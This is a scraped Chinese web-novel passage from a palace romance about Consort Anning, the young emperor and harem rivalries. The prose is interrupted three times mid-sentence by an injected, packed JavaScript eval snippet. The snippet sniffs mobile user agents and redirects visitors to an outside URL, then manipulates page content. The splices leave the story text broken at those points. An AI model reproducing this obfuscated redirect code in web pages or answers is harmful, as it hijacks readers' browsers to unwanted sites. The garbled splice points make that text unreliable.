内殿门窗紧闭,外面下了雨,室内说不出地发闷,安宁躺在大床上,辗转反侧睡不安枕。 她的眼前浮现起明帝站在宫门前对她说:“我对你好,自然是因为我希望你能对我也好。你已经做得很好。你若是觉得我对你太好,你做的还不够,不着急,我们还有很长的时间,你可以慢慢来。” 他温煦的眼睛注视着她,轻声叮嘱:“不要想太多,凡事有我。” 清冷的月辉下,他看着她的眼睛慢慢道:“我不愿在你心里,只是你的四叔。” 她翻了个身,看着黑漆漆的墙面,眼前又浮现出了伯言的模样。 他低头看她,轻声问:“你讨厌我?” 他又问她:“那你讨厌我这般对你?” 他抑制着自己,顶着她的额头,声音沙哑地轻声喊她的名字:“安宁。” 安宁,安宁,安宁。 他的声音低沉地从胸腔里共鸣,响在她耳边,像是带着某种魔咒,生出了丝丝缕缕的丝线,紧紧缠绕着她的心脏。 低沉的雷声轰隆隆从天边响起,乾清宫里,明帝朱弘辉同样未曾安眠。 偌大的龙床上只有他一人。后宫嫔妃们被送到寝殿侍寝完毕后,会由敬事房的太监们再送回去,王嫔也好周嫔也罢,都不会在宫里过夜。 他听着隐隐的滚雷声开了口:“黄大伴。” 寝殿的门轻轻开了,黄大伴应声而来:“奴才在。” 朱弘辉坐起了身:“什么时辰了?” 黄大伴道:“圣上,您再歇会儿吧,还不到寅时。” 朱弘辉凝神听着外面的声音:“是不是下雨了?” “是的。”黄大伴回道,“头前儿就开始落了,雨落得不大。春夜喜雨啊圣上,这是个好兆头,看来今年又是一个丰收年。” 朱弘辉点点头。这会儿外面的雨越落越大,从细细的沙沙声化作噼里啪啦的声响,打在屋檐和窗户上。 窗户外忽然一亮,一道闪电划破了漆黑的夜空,紧跟着一道炸雷响起,震得房梁嗡嗡作响。 朱弘辉起身下地:“拿朕的衣裳来。” “圣上。”黄大伴手脚麻利地拿来衣物和鞋子替朱弘辉着装,嘴里却还在劝着,“这么大的雨,大半夜的,您要去哪里?” 朱弘辉吩咐:“备轿,去毓德宫。” 雨势渐大,雨腥气从门窗的缝隙里透进室内,安宁仍是毫无睡意。 内寝的门突然被人推开,有人打着烛火进来,撩开了大床的幔帐。她原以为是丫鬟因为雷雨来查看,所以回过了头,却不曾想见到朱弘辉身上带着微微的雨气正坐在床榻边,手里举着一盏烛火看着她。 她惊讶地坐起身:“四叔?” 48. 47 雨势太大,他来得急,虽然有软轿,他身上仍带着雨水的痕迹,濡湿了他的头发和大半个胸膛。他道:“雷声太大,怕你害怕,所以过来看看。” 她伸手碰了碰他肩头:“雨这么大,你衣服都湿了。”她向着外面唤人,“白薇姑姑!” 白薇应声而来:“昭仪有何吩咐?” 安宁道:“问黄大伴拿圣上的衣裳来。” 她接过了朱弘辉手上的烛台,将其轻轻放在床边,跪坐起身靠近他替他解开领口的衣扣。他伸手按住她的手,眼眸一瞬间变得幽深:“你要做什么?” 她道:“你衣服都湿了,这么穿着湿气寒气都进身体里,生病了怎么办?” 他推开她的手:“我自己来。” 他解开淋湿的外裳搭在一旁,穿着中衣在床边落座。春寒料峭,夜里仍然带着寒意。安宁见他穿得单薄,拉起被子披在他身上:“别冻着。” 他扭头看向她,见她只着寝衣又将被子搭在了自己身上,伸手将她拉进了自己怀里。 他索性褪去鞋上床,同她靠坐在一起。安宁微微一僵,由着他用被子将两人包裹。 她被他拥在怀里,轻轻靠着他不敢动弹。他感觉到了她的僵硬,安慰地拍了拍她的肩头,寻了个话题缓和她的紧张:“我已经令人去寻海翼的消息。” 提起海翼她抬起了头:“海翼便是受惊飞走,也不会去旁的地方。我也吩咐了人去国公府问问,兴许它飞回了故居。” 她碰到他的头发,感觉到了湿意,起身下榻去拿了干的帕子,复又回来让他背过身去,解开他的发髻,细细地替他擦拭。 窗外雨声哗哗,室内一时安静,只余他的发丝在她指间轻轻揉捻。烛火将两个人的影子重叠在一起,他看着两人的影子,似乎能看见她在他身后忙碌的样子。 他握住她的手,将她拉到自己面前:“可以了,歇着吧。”他见她眼眶下都是乌青,放软了声音问她,“是不是被雷声惊着了,昨夜一直没睡着?” 她点点头:“你昨夜是不是也没睡?” “没睡。”他看了看时辰,才刚刚寅时二刻。屋外的雨越下越大,这会儿听着屋檐落下的雨滴似小溪流淌。他拿过她手上的帕子放到一旁,拉着她在他身侧躺下,吹灭了床边的蜡烛,又拉起了被子盖在二人身上。黑暗中他的声音传来,带着浓郁的困倦,“我歇一会儿。” 很快,枕侧就传来了他细细地、均匀地呼吸声。他沉入了梦乡,她却依然毫无睡意。 被子里他握着她的手,她想偷偷地将手抽出来,微微一动便惊动了他,下意识地握得更紧,抓起她的手放在了自己胸口。 她的眼睛适应了黑暗,看着他熟睡的轮廓。看着看着,她渐觉安心,听着窗外的雨声眼皮越来越沉,终究也睡了过去。 黄大伴送来外裳,见白薇正候在寝殿门口。他看了眼内室,烛火熄灭一片黑暗。白薇姑姑会意,往旁走远了些,两人压低了声音交谈。 黄大伴看看手里的外裳:“看来一时是用不上了。” 白薇姑姑点点头:“辛苦大伴了。” 黄大伴笑道:“咱家不辛苦。”他往内室看了看,犹豫了一下,“要不要咱家去把敬事房的人叫来记档?” 白薇面色微红,低声回道:“圣上和昭仪没有叫水,还是等天明后,问过圣上再做决定。” 黄大伴连连点头:“姑姑说的是。” 白薇见黄大伴身上衣物被雨水淋湿,轻声道:“小厨房里还烧着火。大伴不如将圣上的外裳交给我,您去那处将身上的衣物烤干。可别跑了这趟差事,反倒受了风寒。” 黄大伴闻言也不推脱,将外裳交给白薇:“有劳姑姑了。” 天明时云收雨歇,鸟儿们在院子里飞上冒着新芽的枝头,吱吱喳喳叫个不停。一束阳光映在安宁的脸上,让她从睡梦中缓缓醒来睁开了眼睛。 身旁睡着一个人,他正用手撩起幔帐在看外面的天色。那束阳光从他撩起的缝隙里透进来,照在她的眼睛上惊醒了她。 察觉到身侧的动静,他回头看向她,见她眼神迷离满脸困倦,像是刚睡醒的小猫一般窝在他身旁。 这是十几年来他第一次和人同床共枕在清晨醒来,也是他第一次放心在旁人身侧安睡。他放下幔帐转身将她抱入怀里,亲了亲她的额头轻声道:“你再接着睡,不用这么早起。” 她打了个哈欠声音慵懒:“什么时辰了?” “快到辰时。”她柔软的身体,散发着淡淡香味的发丝,细腻的皮肤都让他疯狂心动。他知道自己不能再继续躺下去,可又舍不得就这么放开她。他伸手轻抚她的脸,眷恋地抵着她的额头,“我要起了,今日还要去同几位师父学国策。” 黄大伴和白薇在内室门口一直守着。听见开门声原本在假寐的两人瞬间惊醒,皆起身迎了上去。黄大伴拿了外裳替明帝穿衣,小心地打量着他的神色:“圣上,要叫敬事房的人来记档么?” 明帝道:“昭仪怕雷,朕只是来陪了她一小会儿,不记。”他看向白薇叮嘱,“她昨夜睡得不安稳,不要让她早起,让她多睡会儿。今日吩咐小厨房做些容易克化的东西给她吃。” 白薇恭谨应下:“是。” 朱弘辉走了,床上空空荡荡失了温度。安宁裹着被子原想再睡一会儿,可仿佛就像丢了什么东西一般,睡意已散,怎么都再睡不着。 她坐起身冲外喊了一声:“白蔻!” 门应声而开,进来的却是白薇姑姑:“昭仪,您醒了?” 安宁回答:“睡不着了。” 白薇支起了内寝的窗户,雨后清新的空气涌入了内室。一夜雷雨之后,原本还只是米粒大小的绿芽都变成了蜷曲的嫩叶,枝头纷纷绽放新绿,个别已经伸展开了叶片,柔嫩半透明的树叶在阳光映照下脉络清晰可见。 白薇顺着安宁的视线看出去,忍不住笑道:“这几日没有花,把这新枝剪上几束插在瓶子里也极美。昭仪若是喜欢,一会儿奴婢就吩咐人去做。” 安宁摇了摇头:“剪回来看上几日就死了,不如让它好好地长着,春发芽夏开花秋结果,也算是安稳过完了一生。” 她话里有着莫名的情绪,白薇感受到便没有多言,应了一声退下,去唤白蔻来替安宁梳洗。白蔻还没来,顾珂柔先进了屋子。 安宁见姐姐打扮整齐,不由得问道:“姐姐,你怎么起这么早,你这是要出去不成?” “我想着去一趟启祥宫。”顾珂柔道,“昨儿个周嫔侍寝,今日去恭贺的人不少。我想着也理应去一趟。我已经着人备下了礼,也替你备下了,你看看,还有没有什么增减。” 她说着递过来礼单。安宁接过礼单没有看,看向刚进门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13671933|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的白薇:“昨夜是周嫔侍寝?” 白薇抱着手里的东西应道:“昨夜确实是周嫔娘娘侍寝。”她知道安宁心里在疑惑什么,主动解答:“嫔妃侍寝都是由敬事房的太监送去圣上的寝宫,之后再由他们送回去。嫔妃们不会留宿在乾清宫。” 一早太后的赏赐先行到了启祥宫,然后便是王嫔送来的贺礼,其它各宫的嫔妃们也纷纷送来了贺礼。 安宁和姐姐到启祥宫的时候,这边一片热闹的景象,王嫔也亲自来了,和周嫔在主位上分左右落座,正在说话。 听见太监报毓德宫的两位到来,众人纷纷停下了话头看向门口。梁选侍的事情已经传遍了整个后宫,李才人经历了此事之后,整日将自己关在屋子里闭门不出。一时间众人心头各异,但面上都带着笑容。 安宁和顾珂柔进了正殿,同周嫔王嫔行礼。周嫔温婉一笑:“快起来,都是姐妹,不必如此多礼。”说着便请二人落座。 安宁入座,对首坐着姚贵人,姚贵人身侧恰好坐着李才人。见安宁向她看来,她面色微微一白,躲避着她的视线将脸偏向了一旁。王嫔将这一幕看在眼里,开口对李才人道:“你不是说昨夜被雷声惊着晨起心悸?不如早些回去歇着吧。” 李才人十分感激,起身谢过了王嫔,同周嫔行礼后匆匆离了启祥宫。 姚贵人看着李才人的背影,又看了看安宁,打趣道:“我怎么觉着才人是见着宁昭仪被吓走了?这好端端地,怎么和老鼠见了猫一样?” 周嫔眉头微不可见地轻皱了一下,开口道:“贵人多虑了。方才王嫔不是才说才人是晨起心悸?” 姚贵人轻轻地啊了一声,笑着向安宁赔了不是:“我嘴比脑子快,说话未经思虑,还请宁昭仪不要介意。” 新进宫的江贵人仔细打量了安宁一番,扭头看向了门外:“昨夜好大的雨。” “可不是呢。”姚贵人应道,“岂止雨大,雷也大。那滚雷打得,轰隆隆,就像在头顶炸响一样,实在惊人。不过春夜喜雨,实在是个好兆头。” “昨夜雷雨太大,我被雷声惊醒睡不着,去了长廊观雨。”江贵人道,“恰好看见圣上的銮驾去了毓德宫。”她看着安宁,“宁昭仪,是否雨幕太大,我眼花看错了?昨夜是周嫔娘娘侍寝,我怎么见着銮驾在毓德宫?” 顾珂柔昨夜不知圣上到了毓德宫,闻言看向安宁。周嫔也看向了下首的安宁。 仔细端详她的脸,周嫔在心里赞了一声好相貌。顾珂柔已是难得的美人,可同安宁相比却仍逊色了几分。安宁五官精致皮肤细腻白皙,整个人像是被精心雕琢出来的一般。她只是安静地坐在那里,便如同一副画。 安宁听出了江贵人话里的挑拨之意,微微一笑:“贵人好兴致,深夜廊下观雨。只是如今春寒料峭,贵人还是要仔细着身子,小心受了寒气。” 江贵人碰了个不软不硬的钉子,却不好再继续揪着安宁追问下去,冷淡地扯起了一分笑容回应:“宁昭仪说的在理。” 王嫔却接过了话头:“若真如此,需要嘱咐敬事房一声才好。这要万一有了龙种,也才有据可查。” 姚贵人道:“娘娘说的是,这可是事关龙裔的大事,马虎不得。” 若是承认明帝昨夜留宿毓德宫便得罪了周嫔,可又不能明着否认事实。三言两语间,暗箭又纷纷竖起,直指安宁。 49. 48 安宁看着王嫔和姚贵人一唱一和,言语中处处对她针锋相对。她突然展露出一个明媚的笑容:“王嫔娘娘,您这话要是传到黄大伴耳朵里,可要让他着急了。” 周嫔眼角浮上了一丝笑意,她听懂了安宁的话,仍顺着话头故意问她:“此话怎讲?” “黄大伴兢兢业业伺候圣上十几年,事无巨细从无差错。圣上留宿这种大事他都不让敬事房记档,岂不是犯下了大错?这种莫须有的罪名从天而降扣在他头上,可不是让他着急?” 王嫔和姚贵人对视一眼。安宁话里在说她们将莫须有的罪名扣在黄大伴头上,话外却在说她们拿着莫须有的东西指责她。王嫔拿起手边的茶盏浅酌了一口,面色淡淡地不再提方才的事。 江贵人轻笑一声:“我新进宫就听说宁昭仪极受圣上宠爱,今日一见,果然不同寻常。” 王嫔放下了手里的茶盏:“好了好了,大家都是姐妹,以后在宫里相处的日子还长着,还是要和和气气的好。” 江贵人朝着王嫔恭敬地微微颔首,复又扫了安宁一眼:“娘娘说的是。怕只怕我们想着和和气气的,有些人仗着宠爱骄横跋扈,不愿同我们和气。” 安宁看着江贵人:“贵人这意思,可是在说我仗着宠爱骄横跋扈,不愿同你和气?我进宫到现在,可有盛气凌人?可有仗着宠爱拿乔?还是江贵人觉着我言行中有何骄横之处?不如说清楚,让我也知道自己到底为何处处被你针锋相对。” “昭仪何必生气?”江贵人掩唇略带惊讶地看着她,“我言语中可有指明是昭仪?昭仪是不是误会了什么?” 安宁拖长声音噢了一声:“那你方才所讲,你新进宫就听说我极受圣上宠爱,今日一见果然不同寻常,是在夸赞我了?” 江贵人眼波轻扬,顺着她的话讲:“自然是夸赞昭仪。” 安宁微微一笑追问:“敢问贵人,在贵人眼里,我如何不同寻常?” 江贵人一滞,却不能不回答这个问题,想了想道:“昭仪天生丽质,美貌远胜旁人。” 安宁嘲讽地看着夸赞她的江贵人:“多谢贵人夸赞。” 江贵人不得不违心夸了安宁一句,气势落了下乘,气闷地住了口。 王嫔见众人都没讨到好,也不愿再在此处多待,同周嫔笑道:“也叨扰了你许久,我就先行回宫了,等有空咱们姐妹再聚在一起说说话。” 周嫔起身送王嫔,王嫔一走,其余的嫔妃便纷纷起身告辞,一时间大殿内只余下了顾家姐妹两人。 待周嫔转身,安宁歉意地看着她:“我原是想着来给姐姐庆贺,却不想我一来,倒惹出了这么多不愉快。” “管她们做什么?”周嫔笑道,“你和柔柔得空便来我这里多坐坐,陪我说说话才好。” 安宁闻言询问地看向身旁的姐姐,顾珂柔道:“我同周嫔娘娘自闺中起便是好友。” 安宁歉意地看着周嫔:“姐姐,昨夜圣上确实去了毓德宫,只不过只稍待了片刻便回返。妹妹这厢给姐姐赔不是了。”说着就矮身行礼。 周嫔伸手拦住了安宁:“脚长在圣上身上,他要去哪里,难不成还是旁人能决定?圣上宠爱你,那是你的福分,你何必同我赔不是?旁人嫉妒,对你难免尖酸刻薄,那都是因为心里拈着醋。” 三人相视一笑,周嫔让丫鬟换过茶水,三人去了更亲密的暖阁落座。 周嫔让丫鬟拿了本棋谱来递给顾珂柔:“这是你想要的棋谱,我可是托了我哥哥好不容易才寻到。你要怎么谢我?” 顾珂柔接过棋谱爱不释手:“你想吃什么,你就说罢,我亲去小厨房做好了给你送来。” “你自己说的,那我要吃鱼泥糕。”周嫔笑道,“还要吃藕合……”周嫔的话突然戛然而止,起身行礼,“圣上!臣妾恭迎圣上,圣上万安!” 顾珂柔和安宁回头,见明帝进了暖阁。两人起身行礼。明帝抬了抬手:“都起来吧。” 他走到主位上落座,拿起顾珂柔放在桌上的棋谱看了一眼:“这可是孤本,你们在研究残局?” 顾珂柔恭谨回答:“是臣妾喜好,所以托了周嫔娘娘帮着寻了这棋谱来。” 明帝放下棋谱,目光落到安宁身上。他去毓德宫寻她,听闻她来了启祥宫,他心里放心不下这才跟了过来。他特意吩咐了下面的人不许通报,未曾想进来见到的不是永和宫那处的剑拔弩张,三人围坐在暖阁里喝茶聊天研究棋谱,神色悠然。 周嫔接过了宫女奉上的茶亲手递到明帝面前:“圣上,请用茶。” 明帝接过浅浅闻了闻:“是明前春?” “正是。”周嫔微笑回答,“今年的新茶,臣妾用了存的雪水来煮,圣上不如尝尝?” 明帝浅尝:“不错,别有一股幽香。” 周嫔站在明帝身旁,看着他的时候眼睛里闪烁着微微的光芒,脸颊边隐见红晕,带着几分初为人妇的娇羞。 周嫔温婉,朱弘辉安静清俊,落入旁人眼中也是一双璧人。 周嫔看了看安宁,微笑着对明帝道:“圣上这是寻宁妹妹,寻到我这来了。” 朱弘辉微微一笑并不否认,和煦地看着安宁:“你来贺周嫔,可有闯祸?” “闯祸不曾,跟人斗了几句嘴却是在所难免。”安宁道,“一个个的话里话外都在找我麻烦,恨不得我同周嫔姐姐斗个头破血流才让她们满意。” 明帝闻言看向周嫔,周嫔淡笑:“回禀圣上,有不懂事的,拿了您昨夜去毓德宫的事儿说嘴,王嫔姐姐听了,便想着若真如此,应让敬事房记档,这才多言语了几句。” 明帝眉头微皱:“昨夜雷声大,她年龄小,朕怕惊着她去看了看。” 周嫔眼里露出了真正的笑意,恰逢宫女送来了甜品,她接过双手奉给明帝:“这一个冬天过去,日日烧着地龙用着炭盆,身体里难免积了不少火,小厨房刚做好的莲子粥,清热去火最好。” 明帝没有动,看着安宁用了一小碗,问她:“好不好吃?” 安宁放下瓷碗:“好吃。姐姐的厨娘往里加了桂花和蜂蜜,甜香甜香的。” 周嫔带着笑意看着她:“这个容易克化,要是爱吃,再给你盛一碗?” 明帝将自己的碗往前推了推:“朕不喜甜,这个给她用吧。” 安宁还没动,顾珂柔轻轻按住了她:“再吃就成小胖猪了。” 安宁看向顾珂柔,不依:“姐姐!” 屋里几人都露出了笑容。 安宁从落水后生了一场大病,那时她消瘦了不少。如今养了一段时日,慢慢的变得丰腴。朱弘辉还惦记着让她好好将养的事儿:“天寒,多吃一点能抵御寒气。胖也没什么不好,健康为主。” 周嫔闻言悄悄打量了一下自己。她怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13679273|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胖,平日里为了苗条刻意控制饮食。这桂花蜂蜜莲子粥屋子里的人都送了一碗,唯有她自己因为克制饮食没有上。她腰肢苗条身段高挑,一直暗地里引以为傲,如今见明帝对安宁的态度,不由得暗自担心自己是否太过清瘦,不符合他的喜好。 启祥宫里其乐融融,永和宫里却是另一番景象。 王嫔坐在上首,其下坐着姚贵人和江贵人。 王嫔神色郁郁,姚贵人劝道:“娘娘还是要放宽心些。” “如何能放宽心?”江贵人轻哼一声,“有那么个妖精杵在那里,就像刺进眼睛里的针,扎进心口的刺,恨不能拔了才能清净!” “这根针可不好拔。”姚贵人淡然道,“梁选侍言语得罪了她几句,就被撤了绿头牌,如今更是连累整个梁家女子不可选秀,男丁三代不可科考。这根针拔得不好,可是会被反扎得头破血流!” “那是梁选侍自己愚蠢。”江贵人道,“她设的那个局便是成了,对毓德宫那边也是不疼不痒。她那点揣着小心思的报复顶多让那边被责罚几句,能有什么用处?” “哦?”姚贵人微微挑眉,“莫非妹妹有什么高见?” “打蛇打七寸。”江贵人悠然道,“要拔了这根刺,自然就要向着要害下手。” 王嫔也看向了江贵人。 江贵人道:“她仰仗的是什么?是圣上的偏爱。可圣上这般宠爱她,能容得了眼里有沙子么?” 姚贵人道:“你的意思是……” “我进宫前听说过一个事儿。”江贵人笑了笑,“宁昭仪原先不是一直生活在凌云州?听闻她曾同拓罗河部的世子额尔来往过密,世子还曾送了她大妃的项链作为定情信物。不止如此,她又引了那王庭世子少布上折子求请赐婚。” 江贵人看向姚贵人,“说起来这事儿你也应该知晓,后来代替她去和亲的,正是你家里那个五妹妹。” “果然是狐媚得很。”姚贵人嫌恶得皱了皱眉毛,“我等在闺中时都是清清白白,如何能如她这般同许多男子牵扯不清?” “她那张脸,属实讨人喜欢。”江贵人肯定了安宁的美貌,“圣上年少气盛,一时心喜也是有的。只是若这些事儿传出去……不知圣上还会不会一如既往的待她?” “圣上。”启祥宫里,周嫔问明帝,“再过几日便是春猎了吧?” “是。”明帝应道,“月末便是。” 安宁不解:“春猎?” “你一直在边地,不知这边的习俗。”顾珂柔开口解释,“开春的时候在宫外会举行一次围猎,说是围猎,实则不会大肆捕杀,只猎一头狼或一只鹿,佐以五谷四牲来祭拜天神。有送走寒冬迎来丰春之意,同时还要做农桑祈福,持续三日十分盛大。” 安宁眼睛亮了起来:“在宫外?” “往年都在京郊草场边地。”明帝道,“届时会在那处围出一大片,搭建帐篷,那三日都住在那处。” 安宁起身坐到明帝身旁:“可允许后妃同行?” 明帝眼里带着笑:“自然可以。” “往年都是太后亲自主持祭天。”顾珂柔道,“今年……”她看了看周嫔,“不知是否还是如此,还是让宫里哪位姐姐主持大局?” 周嫔道:“王嫔姐姐温良恭淑,又是后宫之首,若换成旁人,理应是她。” 明帝闻言皱起了眉头。 50. 49 安宁握住朱弘辉的胳膊:“四叔,若是要换成旁人,我觉着周嫔娘娘比王嫔娘娘好。王嫔娘娘表面和善,实则尖酸刻薄,我不曾招惹她半点,她却处处针对。周嫔娘娘温婉娴静又明事理,理应选她。” 周嫔讶异安宁这般毫不掩饰直诉自己的真实想法,赶紧向明帝请罪:“臣妾不敢同王嫔姐姐相争,臣妾当不起,宁昭仪谬赞了。” “她性格直率,想到什么便说什么,没有旁人那么多弯绕。”明帝道,“你也当得起她的夸赞。” 周嫔谢恩起身,微微红着脸向着安宁和善地一笑。 明帝看着安宁:“我还担心这宫里除了你长姐,你同旁人都处不好,如今见你和周嫔交好,我心里也放心了些。” “并非我不愿同她们交好。”安宁替自己申辩,“是她们针对我。” 明帝宠溺地看着她笑了笑,伸手摸了摸她的头顶,温言开口:“我走了。” 众人起身恭送明帝。周嫔恍然明白了几分,明帝是特地来启祥宫寻安宁。今日她冷眼旁观见明帝对安宁如此,似乎远远不是偏宠那么简单,两人似有更深的情谊。她心里对安宁更存了亲近之意,等明帝离开,转身拉着安宁的手道:“左右无事,不如就留在我这用膳,咱们三人也好在一起说说话,省得我一人在这宫里寂寞。” 顾珂柔笑道:“那就陪着你。” 落日西斜,天空渐渐染上暮色。敬事房的掌事太监捧了银盘进殿,跪在明帝面前高高举起:“圣上请翻牌子。” 明帝的视线在托盘上一一扫过,挥了挥手:“退下吧,今日朕不翻牌子。” 敬事房的掌事太监闻言恭敬的行了一礼退了下去。黄大伴上前小意询问:“圣上可是觉着身子不适?要不要传太医来觐见?” “朕并无不适。”明帝拿着手里的折子看着,“不用忧心。” 黄大伴应了一声退到一旁。 时间一点一滴流逝,夕阳落到地平线下,夜色渐起。黄大伴换过了桌上的烛火,又小心地拿银簪将火光拨亮了些。明帝揉了揉眉心询问:“什么时辰了?” 黄大伴看了眼天色:“圣上,戌时末了。” 明帝放下了手里的折子:“去毓德宫。” 院子里,安宁着人搬了躺椅,自己躺在长廊下看着星空。她对星宿虽然一知半解,却并不妨碍她观星。正看得入迷的时候,朱弘辉进了院子。他不想惊扰安宁,嘱咐不许人通报,却不曾想一进院门就看见了她。 看见他她惊喜地起身来迎:“四叔!” 他握住她的手,入手微凉:“如今夜里寒气还重,你怎么这般贪凉在院子里坐着?” 她孩子气地撅了噘嘴:“睡不着,想在外面看会儿星星。” 他和她并肩走到长廊下落座,学着她的样子仰躺在长椅上仰望星空,漆黑的天幕繁星满天,银河高悬,散发着清冷的星辉。 白薇体贴地送来了搭毯,安宁接过盖在朱弘辉的身上,他倾身过来替她盖好,低声道:“我不冷,你好好盖着。” 他张开手臂让她靠坐在自己怀里。安宁看着夜幕上的星河:“我小时候娘告诉我,人死了之后,就会化作天上的一颗星星。最开始的时候天空一片漆黑,后来人的灵魂都升了上去,所以就有了这漫天的星河。” 他低头看着她,她的眼睛里似乎也有着璀璨的星河。 他低声唤她:“安宁。” 她不解地抬头:“嗯?” 两人靠得极近,一时间呼吸相闻。 院子里静悄悄地,宫女太监们早识趣地避开,只留下了他二人。 他的眸子幽深,专注的看着她,她第一次清晰地在别人瞳孔里看见了自己。她莫名地有些慌,往后退了些:“四叔……” 他没有容她退却,在她背后的手挡住了她。他向她低下头,覆盖住了她的唇。 他的吻和伯言不同。伯言是霸道的攫取,充满热度和潮湿,想要给予她同时想要从她那里得到更多。 他的吻就像他本人一样干燥温暖,只是轻轻地在她唇上擦过就放开了她,看着她的脸瞬间变成绯红色,垂眸不敢和他对视。 他轻叹一声,抵着她的额头轻声喊她的名字:“安宁。” 她将脸埋在他怀里,轻轻的应了一声:“嗯?” 他没有说话,只是有一下没一下的轻轻拍着她的后背。 他的胸膛宽广,心跳沉稳有力。安宁莫名地觉得安心。搭被里他寻到了她的手握在手中。 半晌怀里没有动静,他低头看她才发现她已经睡了过去。他一动她不安地抬起手下意识搂住他的脖子,或者是想寻找温暖,整个人往他怀里更深的地方缩了过去。 他小心地起身将她抱起往屋里走,黄大伴幽灵一般从暗处冒了出来,忙不迭地帮着推开内寝的门。他将她放在榻上,弯腰去脱她的鞋。黄大伴赶紧拦住,轻声道:“圣上,让奴才来吧。” 朱弘辉抬头看了他一眼,黄大伴噤声微微躬身后退,朱弘辉轻声吩咐:“去让白薇来。” 他替她脱了鞋,拉着被子给她盖上。白薇进了内寝见着这一幕,赶紧道:“圣上,交给奴婢吧。” 朱弘辉这才往一旁让了让,看着白薇替安宁脱下外裳。她熟睡中不太配合,翻身朝里抱住了枕头,白薇又不敢太用力惊醒了她,半跪在床上小心翼翼。 旁边降下一片阴影,朱弘辉伸手抱起了安宁,让她依偎在他怀里,吩咐白薇:“脱吧。” 白薇赶紧趁机脱下了安宁的外裳,又替她解开了头发,朱弘辉这才又将她轻轻放下。他想抽身她却转身抱住了他的腰,极为自然的将脸贴着他。这个动作定住了他,他只得侧躺在她身旁。 白薇怕二人冻着,拉起被子盖在两人身上,行礼退下,关上了内寝的门。 黄大伴还等在门外,见白薇出来用询问的眼神看着她,白薇也有些犯难:“宁昭仪睡着了,圣上脱不开身。” “嗐。”黄大伴叹了口气,“哪里有脱不开身?不过是圣上心疼昭仪罢了。”他小心朝里看了看,“伺候圣上这么久,咱家从未见过他对何人像对昭仪这般。” 他不由得想起了还在太师府时候的种种,摇了摇头,对白薇道,“等着吧。若是半夜叫水,咱家就叫敬事房的人来记档。” 白薇点了点头。 这一觉安宁睡得极为安稳,只觉得十分温暖舒适。等她缓缓醒来才发现自己依偎在朱弘辉的怀中,他身上半盖着被子,仰躺着睡得正熟。 这是她第二次在他怀中醒来。他还熟睡着,幔帐没有放下,屋子里洒满了晨曦。她看着他的侧颜,莫名地觉得亲近,忍不住伸出手顺着他鼻翼的线条轻轻描绘。快要落到他唇上的时候她停下了动作,脑海里突然想起昨夜他靠过来时那简单的、温柔的一吻。 他突然伸手握住了她的手,让她一惊。他长长地呼了口气,还闭着眼睛带着浓重的睡意:“醒了?” 她轻声回应:“嗯。” “醒了就淘气?”他的声音带着深睡后的暗哑,“我的鼻子有什么?” 被发现了。她有些羞赧:“没什么。” 他终于睁开了眼睛侧身看向她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13690508|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他向着怀里的她低下头,含住了她的唇。这个吻和昨夜的蜻蜓点水又不同,他摩挲着她的唇瓣,鼻尖也轻轻蹭着她的,带着浓郁的亲昵。 辗转中他微微加深了力量,迫使她张开口迎接他的入侵。舌尖相触,他微沉的眼眸变得更深。 安宁的心剧烈地跳动着,熟悉又陌生的亲昵,燃起了身体里星星点点的火焰。她下意识捏紧了他的领口,不知道是想推开他,还是想让他更加靠近。 黄大伴的声音在外面响起:“圣上,辰时了,您还要赶去御书房。” 他放开了她,看着她潮湿的眼睛和微红的面颊,喉头动了动,强压住自己沉声道:“知道了。” 他再度俯身吻了吻她:“我要起了。” 她随着他坐起,原是想要替他更衣,见他并没有脱下外裳,不由赧然:“四叔,你……你就这么将就着睡了一夜?” 他笑了一下,穿好鞋下榻:“我走了,还要赶回去换衣裳。” 门外的黄大伴见明帝出来,赶紧迎上:“圣上,要不要叫敬事房的人来记档?” 明帝回答得言简意赅:“不必。” 黄大伴躬身退下,见明帝身上皱巴巴的龙袍,有些摸不着头脑。不由得往内寝看了一眼,宁昭仪这是给圣上下了什么蛊?竟让圣上接连两宿破例留宿在毓德宫却又没有碰她。他心里又暗暗提醒自己,以后对宁昭仪的事情要更加上心。 慈宁宫里,王太后用着早膳,见王大伴躬身进了内殿,开口询问:“如何,昨夜圣上翻了谁的牌子?” 王大伴小心回话:“回禀太后,昨夜圣上没有翻牌子。” “哦?”王太后放下手里的银勺,“这个年纪的少年,血气方刚,初识男女滋味,他倒耐得住。”她见王大伴似乎还有话没说,“怎的犹犹豫豫?还有什么事?” “娘娘。”王大伴小心开口,“昨儿个圣上虽然没有翻牌子,但是宿在了毓德宫。” 